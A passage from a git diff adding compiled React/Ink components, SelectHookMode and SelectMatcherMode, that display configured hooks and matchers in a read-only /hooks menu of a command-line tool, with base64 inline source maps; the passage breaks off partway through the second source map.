+  let t3;
+  if ($[7] !== hooksForSelectedMatcher || $[8] !== onSelect) {
+    t3 = value => {
+      const index_0 = parseInt(value, 10);
+      const hook_0 = hooksForSelectedMatcher[index_0];
+      if (hook_0) {
+        onSelect(hook_0);
+      }
+    };
+    $[7] = hooksForSelectedMatcher;
+    $[8] = onSelect;
+    $[9] = t3;
+  } else {
+    t3 = $[9];
+  }
+  let t4;
+  if ($[10] !== onCancel || $[11] !== t2 || $[12] !== t3) {
+    t4 = <Box flexDirection="column"><Select options={t2} onChange={t3} onCancel={onCancel} /></Box>;
+    $[10] = onCancel;
+    $[11] = t2;
+    $[12] = t3;
+    $[13] = t4;
+  } else {
+    t4 = $[13];
+  }
+  let t5;
+  if ($[14] !== hookEventMetadata.description || $[15] !== onCancel || $[16] !== t4 || $[17] !== title) {
+    t5 = <Dialog title={title} subtitle={t1} onCancel={onCancel}>{t4}</Dialog>;
+    $[14] = hookEventMetadata.description;
+    $[15] = onCancel;
+    $[16] = t4;
+    $[17] = title;
+    $[18] = t5;
+  } else {
+    t5 = $[18];
+  }
+  return t5;
+}
+function _temp2(hook, index) {
+  return {
+    label: `[${hook.config.type}] ${getHookDisplayText(hook.config)}`,
+    value: index.toString(),
+    description: hook.source === "pluginHook" && hook.pluginName ? `${hookSourceHeaderDisplayString(hook.source)} (${hook.pluginName})` : hookSourceHeaderDisplayString(hook.source)
+  };
+}
+function _temp() {
+  return <Text>Esc to go back</Text>;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsIkhvb2tFdmVudCIsIkhvb2tFdmVudE1ldGFkYXRhIiwiQm94IiwiVGV4dCIsImdldEhvb2tEaXNwbGF5VGV4dCIsImhvb2tTb3VyY2VIZWFkZXJEaXNwbGF5U3RyaW5nIiwiSW5kaXZpZHVhbEhvb2tDb25maWciLCJTZWxlY3QiLCJEaWFsb2ciLCJQcm9wcyIsInNlbGVjdGVkRXZlbnQiLCJzZWxlY3RlZE1hdGNoZXIiLCJob29rc0ZvclNlbGVjdGVkTWF0Y2hlciIsImhvb2tFdmVudE1ldGFkYXRhIiwib25TZWxlY3QiLCJob29rIiwib25DYW5jZWwiLCJTZWxlY3RIb29rTW9kZSIsInQwIiwiJCIsIl9jIiwidGl0bGUiLCJtYXRjaGVyTWV0YWRhdGEiLCJ1bmRlZmluZWQiLCJsZW5ndGgiLCJ0MSIsIlN5bWJvbCIsImZvciIsInQyIiwiZGVzY3JpcHRpb24iLCJfdGVtcCIsIm1hcCIsIl90ZW1wMiIsInQzIiwidmFsdWUiLCJpbmRleF8wIiwicGFyc2VJbnQiLCJob29rXzAiLCJpbmRleCIsInQ0IiwidDUiLCJsYWJlbCIsImNvbmZpZyIsInR5cGUiLCJ0b1N0cmluZyIsInNvdXJjZSIsInBsdWdpbk5hbWUiXSwic291cmNlcyI6WyJTZWxlY3RIb29rTW9kZS50c3giXSwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBTZWxlY3RIb29rTW9kZSBzaG93cyBhbGwgaG9va3MgY29uZmlndXJlZCBmb3IgYSBnaXZlbiBldmVudCttYXRjaGVyIHBhaXIuXG4gKlxuICogVGhlIC9ob29rcyBtZW51IGlzIHJlYWQtb25seTogdGhpcyB2aWV3IG5vIGxvbmdlciBvZmZlcnMgXCJhZGQgbmV3IGhvb2tcIlxuICogYW5kIHNlbGVjdGluZyBhIGhvb2sgc2hvd3MgaXRzIHJlYWQtb25seSBkZXRhaWxzIGluc3RlYWQgb2YgYSBkZWxldGVcbiAqIGNvbmZpcm1hdGlvbi5cbiAqL1xuaW1wb3J0ICogYXMgUmVhY3QgZnJvbSAncmVhY3QnXG5pbXBvcnQgdHlwZSB7IEhvb2tFdmVudCB9IGZyb20gJ3NyYy9lbnRyeXBvaW50cy9hZ2VudFNka1R5cGVzLmpzJ1xuaW1wb3J0IHR5cGUgeyBIb29rRXZlbnRNZXRhZGF0YSB9IGZyb20gJ3NyYy91dGlscy9ob29rcy9ob29rc0NvbmZpZ01hbmFnZXIuanMnXG5pbXBvcnQgeyBCb3gsIFRleHQgfSBmcm9tICcuLi8uLi9pbmsuanMnXG5pbXBvcnQge1xuICBnZXRIb29rRGlzcGxheVRleHQsXG4gIGhvb2tTb3VyY2VIZWFkZXJEaXNwbGF5U3RyaW5nLFxuICB0eXBlIEluZGl2aWR1YWxIb29rQ29uZmlnLFxufSBmcm9tICcuLi8uLi91dGlscy9ob29rcy9ob29rc1NldHRpbmdzLmpzJ1xuaW1wb3J0IHsgU2VsZWN0IH0gZnJvbSAnLi4vQ3VzdG9tU2VsZWN0L3NlbGVjdC5qcydcbmltcG9ydCB7IERpYWxvZyB9IGZyb20gJy4uL2Rlc2lnbi1zeXN0ZW0vRGlhbG9nLmpzJ1xuXG50eXBlIFByb3BzID0ge1xuICBzZWxlY3RlZEV2ZW50OiBIb29rRXZlbnRcbiAgc2VsZWN0ZWRNYXRjaGVyOiBzdHJpbmcgfCBudWxsXG4gIGhvb2tzRm9yU2VsZWN0ZWRNYXRjaGVyOiBJbmRpdmlkdWFsSG9va0NvbmZpZ1tdXG4gIGhvb2tFdmVudE1ldGFkYXRhOiBIb29rRXZlbnRNZXRhZGF0YVxuICBvblNlbGVjdDogKGhvb2s6IEluZGl2aWR1YWxIb29rQ29uZmlnKSA9PiB2b2lkXG4gIG9uQ2FuY2VsOiAoKSA9PiB2b2lkXG59XG5cbmV4cG9ydCBmdW5jdGlvbiBTZWxlY3RIb29rTW9kZSh7XG4gIHNlbGVjdGVkRXZlbnQsXG4gIHNlbGVjdGVkTWF0Y2hlcixcbiAgaG9va3NGb3JTZWxlY3RlZE1hdGNoZXIsXG4gIGhvb2tFdmVudE1ldGFkYXRhLFxuICBvblNlbGVjdCxcbiAgb25DYW5jZWwsXG59OiBQcm9wcyk6IFJlYWN0LlJlYWN0Tm9kZSB7XG4gIGNvbnN0IHRpdGxlID1cbiAgICBob29rRXZlbnRNZXRhZGF0YS5tYXRjaGVyTWV0YWRhdGEgIT09IHVuZGVmaW5lZFxuICAgICAgPyBgJHtzZWxlY3RlZEV2ZW50fSAtIE1hdGNoZXI6ICR7c2VsZWN0ZWRNYXRjaGVyIHx8ICcoYWxsKSd9YFxuICAgICAgOiBzZWxlY3RlZEV2ZW50XG5cbiAgaWYgKGhvb2tzRm9yU2VsZWN0ZWRNYXRjaGVyLmxlbmd0aCA9PT0gMCkge1xuICAgIHJldHVybiAoXG4gICAgICA8RGlhbG9nXG4gICAgICAgIHRpdGxlPXt0aXRsZX1cbiAgICAgICAgc3VidGl0bGU9e2hvb2tFdmVudE1ldGFkYXRhLmRlc2NyaXB0aW9ufVxuICAgICAgICBvbkNhbmNlbD17b25DYW5jZWx9XG4gICAgICAgIGlucHV0R3VpZGU9eygpID0+IDxUZXh0PkVzYyB0byBnbyBiYWNrPC9UZXh0Pn1cbiAgICAgID5cbiAgICAgICAgPEJveCBmbGV4RGlyZWN0aW9uPVwiY29sdW1uXCIgZ2FwPXsxfT5cbiAgICAgICAgICA8VGV4dCBkaW1Db2xvcj5ObyBob29rcyBjb25maWd1cmVkIGZvciB0aGlzIGV2ZW50LjwvVGV4dD5cbiAgICAgICAgICA8VGV4dCBkaW1Db2xvcj5cbiAgICAgICAgICAgIFRvIGFkZCBob29rcywgZWRpdCBzZXR0aW5ncy5qc29uIGRpcmVjdGx5IG9yIGFzayBDbGF1ZGUuXG4gICAgICAgICAgPC9UZXh0PlxuICAgICAgICA8L0JveD5cbiAgICAgIDwvRGlhbG9nPlxuICAgIClcbiAgfVxuXG4gIHJldHVybiAoXG4gICAgPERpYWxvZ1xuICAgICAgdGl0bGU9e3RpdGxlfVxuICAgICAgc3VidGl0bGU9e2hvb2tFdmVudE1ldGFkYXRhLmRlc2NyaXB0aW9ufVxuICAgICAgb25DYW5jZWw9e29uQ2FuY2VsfVxuICAgID5cbiAgICAgIDxCb3ggZmxleERpcmVjdGlvbj1cImNvbHVtblwiPlxuICAgICAgICA8U2VsZWN0XG4gICAgICAgICAgb3B0aW9ucz17aG9va3NGb3JTZWxlY3RlZE1hdGNoZXIubWFwKChob29rLCBpbmRleCkgPT4gKHtcbiAgICAgICAgICAgIGxhYmVsOiBgWyR7aG9vay5jb25maWcudHlwZX1dICR7Z2V0SG9va0Rpc3BsYXlUZXh0KGhvb2suY29uZmlnKX1gLFxuICAgICAgICAgICAgdmFsdWU6IGluZGV4LnRvU3RyaW5nKCksXG4gICAgICAgICAgICBkZXNjcmlwdGlvbjpcbiAgICAgICAgICAgICAgaG9vay5zb3VyY2UgPT09ICdwbHVnaW5Ib29rJyAmJiBob29rLnBsdWdpbk5hbWVcbiAgICAgICAgICAgICAgICA/IGAke2hvb2tTb3VyY2VIZWFkZXJEaXNwbGF5U3RyaW5nKGhvb2suc291cmNlKX0gKCR7aG9vay5wbHVnaW5OYW1lfSlgXG4gICAgICAgICAgICAgICAgOiBob29rU291cmNlSGVhZGVyRGlzcGxheVN0cmluZyhob29rLnNvdXJjZSksXG4gICAgICAgICAgfSkpfVxuICAgICAgICAgIG9uQ2hhbmdlPXt2YWx1ZSA9PiB7XG4gICAgICAgICAgICBjb25zdCBpbmRleCA9IHBhcnNlSW50KHZhbHVlLCAxMClcbiAgICAgICAgICAgIGNvbnN0IGhvb2sgPSBob29rc0ZvclNlbGVjdGVkTWF0Y2hlcltpbmRleF1cbiAgICAgICAgICAgIGlmIChob29rKSB7XG4gICAgICAgICAgICAgIG9uU2VsZWN0KGhvb2spXG4gICAgICAgICAgICB9XG4gICAgICAgICAgfX1cbiAgICAgICAgICBvbkNhbmNlbD17b25DYW5jZWx9XG4gICAgICAgIC8+XG4gICAgICA8L0JveD5cbiAgICA8L0RpYWxvZz5cbiAgKVxufVxuIl0sIm1hcHBpbmdzIjoiO0FBQUE7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQSxPQUFPLEtBQUtBLEtBQUssTUFBTSxPQUFPO0FBQzlCLGNBQWNDLFNBQVMsUUFBUSxrQ0FBa0M7QUFDakUsY0FBY0MsaUJBQWlCLFFBQVEsdUNBQXVDO0FBQzlFLFNBQVNDLEdBQUcsRUFBRUMsSUFBSSxRQUFRLGNBQWM7QUFDeEMsU0FDRUMsa0JBQWtCLEVBQ2xCQyw2QkFBNkIsRUFDN0IsS0FBS0Msb0JBQW9CLFFB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
\ No newline at end of file
diff --git a/_all-in-one-upload/cc-haha/src/components/hooks/SelectMatcherMode.tsx b/_all-in-one-upload/cc-haha/src/components/hooks/SelectMatcherMode.tsx
new file mode 100644
index 0000000..d292fc8
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/components/hooks/SelectMatcherMode.tsx
@@ -0,0 +1,144 @@
+import { c as _c } from "react/compiler-runtime";
+/**
+ * SelectMatcherMode shows the configured matchers for a selected hook event.
+ *
+ * The /hooks menu is read-only: this view no longer offers "add new matcher"
+ * and simply lets the user drill into each matcher to see its hooks.
+ */
+import * as React from 'react';
+import type { HookEvent } from 'src/entrypoints/agentSdkTypes.js';
+import { Box, Text } from '../../ink.js';
+import { type HookSource, hookSourceInlineDisplayString, type IndividualHookConfig } from '../../utils/hooks/hooksSettings.js';
+import { plural } from '../../utils/stringUtils.js';
+import { Select } from '../CustomSelect/select.js';
+import { Dialog } from '../design-system/Dialog.js';
+type MatcherWithSource = {
+  matcher: string;
+  sources: HookSource[];
+  hookCount: number;
+};
+type Props = {
+  selectedEvent: HookEvent;
+  matchersForSelectedEvent: string[];
+  hooksByEventAndMatcher: Record<HookEvent, Record<string, IndividualHookConfig[]>>;
+  eventDescription: string;
+  onSelect: (matcher: string) => void;
+  onCancel: () => void;
+};
+export function SelectMatcherMode(t0) {
+  const $ = _c(25);
+  const {
+    selectedEvent,
+    matchersForSelectedEvent,
+    hooksByEventAndMatcher,
+    eventDescription,
+    onSelect,
+    onCancel
+  } = t0;
+  let t1;
+  if ($[0] !== hooksByEventAndMatcher || $[1] !== matchersForSelectedEvent || $[2] !== selectedEvent) {
+    let t2;
+    if ($[4] !== hooksByEventAndMatcher || $[5] !== selectedEvent) {
+      t2 = matcher => {
+        const hooks = hooksByEventAndMatcher[selectedEvent]?.[matcher] || [];
+        const sources = Array.from(new Set(hooks.map(_temp)));
+        return {
+          matcher,
+          sources,
+          hookCount: hooks.length
+        };
+      };
+      $[4] = hooksByEventAndMatcher;
+      $[5] = selectedEvent;
+      $[6] = t2;
+    } else {
+      t2 = $[6];
+    }
+    t1 = matchersForSelectedEvent.map(t2);
+    $[0] = hooksByEventAndMatcher;
+    $[1] = matchersForSelectedEvent;
+    $[2] = selectedEvent;
+    $[3] = t1;
+  } else {
+    t1 = $[3];
+  }
+  const matchersWithSources = t1;
+  if (matchersForSelectedEvent.length === 0) {
+    const t2 = `${selectedEvent} - Matchers`;
+    let t3;
+    if ($[7] === Symbol.for("react.memo_cache_sentinel")) {
+      t3 = <Box flexDirection="column" gap={1}><Text dimColor={true}>No hooks configured for this event.</Text><Text dimColor={true}>To add hooks, edit settings.json directly or ask Claude.</Text></Box>;
+      $[7] = t3;
+    } else {
+      t3 = $[7];
+    }
+    let t4;
+    if ($[8] !== eventDescription || $[9] !== onCancel || $[10] !== t2) {
+      t4 = <Dialog title={t2} subtitle={eventDescription} onCancel={onCancel} inputGuide={_temp2}>{t3}</Dialog>;
+      $[8] = eventDescription;
+      $[9] = onCancel;
+      $[10] = t2;
+      $[11] = t4;
+    } else {
+      t4 = $[11];
+    }
+    return t4;
+  }
+  const t2 = `${selectedEvent} - Matchers`;
+  let t3;
+  if ($[12] !== matchersWithSources) {
+    t3 = matchersWithSources.map(_temp3);
+    $[12] = matchersWithSources;
+    $[13] = t3;
+  } else {
+    t3 = $[13];
+  }
+  let t4;
+  if ($[14] !== onSelect) {
+    t4 = value => {
+      onSelect(value);
+    };
+    $[14] = onSelect;
+    $[15] = t4;
+  } else {
+    t4 = $[15];
+  }
+  let t5;
+  if ($[16] !== onCancel || $[17] !== t3 || $[18] !== t4) {
+    t5 = <Box flexDirection="column"><Select options={t3} onChange={t4} onCancel={onCancel} /></Box>;
+    $[16] = onCancel;
+    $[17] = t3;
+    $[18] = t4;
+    $[19] = t5;
+  } else {
+    t5 = $[19];
+  }
+  let t6;
+  if ($[20] !== eventDescription || $[21] !== onCancel || $[22] !== t2 || $[23] !== t5) {
+    t6 = <Dialog title={t2} subtitle={eventDescription} onCancel={onCancel}>{t5}</Dialog>;
+    $[20] = eventDescription;
+    $[21] = onCancel;
+    $[22] = t2;
+    $[23] = t5;
+    $[24] = t6;
+  } else {
+    t6 = $[24];
+  }
+  return t6;
+}
+function _temp3(item) {
+  const sourceText = item.sources.map(hookSourceInlineDisplayString).join(", ");
+  const matcherLabel = item.matcher || "(all)";
+  return {
+    label: `[${sourceText}] ${matcherLabel}`,
+    value: item.matcher,
+    description: `${item.hookCount} ${plural(item.hookCount, "hook")}`
+  };
+}
+function _temp2() {
+  return <Text>Esc to go back</Text>;
+}
+function _temp(h) {
+  return h.source;
+}
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJSZWFjdCIsIkhvb2tFdmVudCIsIkJveCIsIlRleHQiLCJIb29rU291cmNlIiwiaG9va1NvdXJjZUlubGluZURpc3BsYXlTdHJpbmciLCJJbmRpdmlkdWFsSG9va0NvbmZpZyIsInBsdXJhbCIsIlNlbGVjdCIsIkRpYWxvZyIsIk1hdGNoZXJXaXRoU291cmNlIiwibWF0Y2hlciIsInNvdXJjZXMiLCJob29rQ291bnQiLCJQcm9wcyIsInNlbGVjdGVkRXZlbnQiLCJtYXRjaGVyc0ZvclNlbGVjdGVkRXZlbnQiLCJob29rc0J5RXZlbnRBbmRNYXRjaGVyIiwiUmVjb3JkIiwiZXZlbnREZXNjcmlwdGlvbiIsIm9uU2VsZWN0Iiwib25DYW5jZWwiLCJTZWxlY3RNYXRjaGVyTW9kZSIsInQwIiwiJCIsIl9jIiwidDEiLCJ0MiIsImhvb2tzIiwiQXJyYXkiLCJmcm9tIiwiU2V0IiwibWFwIiwiX3RlbXAiLCJsZW5ndGgiLCJtYXRjaGVyc1dpdGhTb3VyY2VzIiwidDMiLCJTeW1ib2wiLCJmb3IiLCJ0NCIsIl90ZW1wMiIsIl90ZW1wMyIsInZhbHVlIiwidDUiLCJ0NiIsIml0ZW0iLCJzb3VyY2VUZXh0Iiwiam9pbiIsIm1hdGNoZXJMYWJlbCIsImxhYmVsIiwiZGVzY3JpcHRpb24iLCJoIiwic291cmNlIl0sInNvdXJjZXMiOlsiU2VsZWN0TWF0Y2hlck1vZGUudHN4Il0sInNvdXJjZXNDb250ZW50IjpbIi8qKlxuICogU2VsZWN0TWF0Y2hlck1vZGUgc2hvd3MgdGhlIGNvbmZpZ3VyZWQgbWF0Y2hlcnMgZm9yIGEgc2VsZWN0ZWQgaG9vayBldmVudC5cbiAqXG4gKiBUaGUgL2hvb2tzIG1lbnUgaXMgcmVhZC1vbmx5OiB0aGlzIHZpZXcgbm8gbG9uZ2VyIG9mZmVycyBcImFkZCBuZXcgbWF0Y2hlclwiXG4gKiBhbmQgc2ltcGx5IGxldHMgdGhlIHVzZXIgZHJpbGwgaW50byBlYWNoIG1hdGNoZXIgdG8gc2VlIGl0cyBob29rcy5cbiAqL1xuaW1wb3J0ICogYXMgUmVhY3QgZnJvbSAncmVhY3QnXG5pbXBvcnQgdHlwZSB7IEhvb2tFdmVudCB9IGZyb20gJ3NyYy9lbnRyeXBvaW50cy9hZ2VudFNka1R5cGVzLmpzJ1xuaW1wb3J0IHsgQm94LCBUZXh0IH0gZnJvbSAnLi4vLi4vaW5rLmpzJ1xuaW1wb3J0IHtcbiAgdHlwZSBIb29rU291cmNlLFxuICBob29rU291cmNlSW5saW5lRGlzcGxheVN0cmluZyxcbiAgdHlwZSBJbmRpdmlkdWFsSG9va0NvbmZpZyxcbn0gZnJvbSAnLi4vLi4vdXRpbHMvaG9va3MvaG9va3NTZXR0aW5ncy5qcydcbmltcG9ydCB7IHBsdXJhbCB9IGZyb20gJy4uLy4uL3V0aWxzL3N0cmluZ1V0aWxzLmpzJ1xuaW1wb3J0IHsgU2VsZWN0IH0gZnJvbSAnLi4vQ3VzdG9tU2VsZWN0L3NlbGVjdC5qcydcbmltcG9ydCB7IERpYWxvZyB9IGZyb20gJy4uL2Rlc2lnbi1zeXN0ZW0vRGlhbG9nLmpzJ1xuXG50eXBlIE1hdGNoZXJXaXRoU291cmNlID0ge1xuICBtYXRjaGVyOiBzdHJpbmdcbiAgc291cmNlczogSG9va1NvdXJjZVtdXG4gIGhvb2tDb3VudDogbnVtYmVyXG59XG5cbnR5cGUgUHJvcHMgPSB7XG4gIHNlbGVjdGVkRXZlbnQ6IEhvb2tFdmVudFxuICBtYXRjaGVyc0ZvclNlbGVjdGVkRXZlbnQ6IHN0cmluZ1tdXG4gIGhvb2tzQnlFdmVudEFuZE1hdGNoZXI6IFJlY29yZDxcbiAgICBIb29rRXZlbnQsXG4gICAgUmVjb3JkPHN0cmluZywgSW5kaXZpZHVhbEhvb2tDb25maWdbXT5cbiAgPlxuICBldmVudERlc2NyaXB0aW9uOiBzdHJpbmdcbiAgb25TZWxlY3Q6IChtYXRjaGVyOiBzdHJpbmcpID0+IHZvaWRcbiAgb25DYW5jZWw6ICgpID0+IHZvaWRcbn1cblxuZXhwb3J0IGZ1bmN0aW9uIFNlbGVjdE1hdGNoZXJNb2RlKHtcbiAgc2VsZWN0ZWRFdmVudCxcbiAgbWF0Y2hlcnNGb3JTZWxlY3RlZEV2ZW50LFxuICBob29rc0J5RXZlbnRBbmRNYXRjaGVyLFxuICBldmVudERlc2NyaXB0aW9uLFxuICBvblNlbGVjdCxcbiAgb25DYW5jZWwsXG59OiBQcm9wcyk6IFJlYWN0LlJlYWN0Tm9kZSB7XG4gIC8vIEdyb3VwIG1hdGNoZXJzIHdpdGggdGhlaXIgc291cmNlcyAoYWxyZWFkeSBzb3J0ZWQgYnkgcHJpb3JpdHkgaW4gcGFyZW50KVxuICBjb25zdCBtYXRjaGVyc1dpdGhTb3VyY2VzOiBNYXRjaGVyV2l0aFNvdXJjZVtdID0gUmVhY3QudXNlTWVtbygoKSA9PiB7XG4gICAgcmV0dXJuIG1hdGNoZXJzRm9yU2VsZWN0ZWRFdmVudC5tYXAobWF0Y2hlciA9PiB7XG4gICAgICBjb25zdCBob29rcyA9IGhvb2tzQnlFdmVudEFuZE1hdGNoZXJbc2VsZWN0ZWRFdmVudF0/LlttYXRjaGVyXSB8fCBbXVxuICAgICAgY29uc3Qgc291cmNlcyA9IEFycmF5LmZyb20obmV3IFNldChob29rcy5tYXAoaCA9PiBoLnNvdXJjZSkpKVxuICAgICAgcmV0dXJuIHtcbiAgICAgICAgbWF0Y2hlcixcbiAgICAgICAgc291cmNlcyxcbiAgICAgICAgaG9va0NvdW50OiBob29rcy5sZW5ndGgsXG4gICAgICB9XG4gICAgfSlcbiAgfSwgW21hdGNoZXJzRm9yU2VsZWN0ZWRFdmVudCwgaG9va3NCeUV2ZW50QW5kTWF0Y2hlciwgc2VsZWN0ZWRFdmVudF0pXG5cbiAgaWYgKG1hdGNo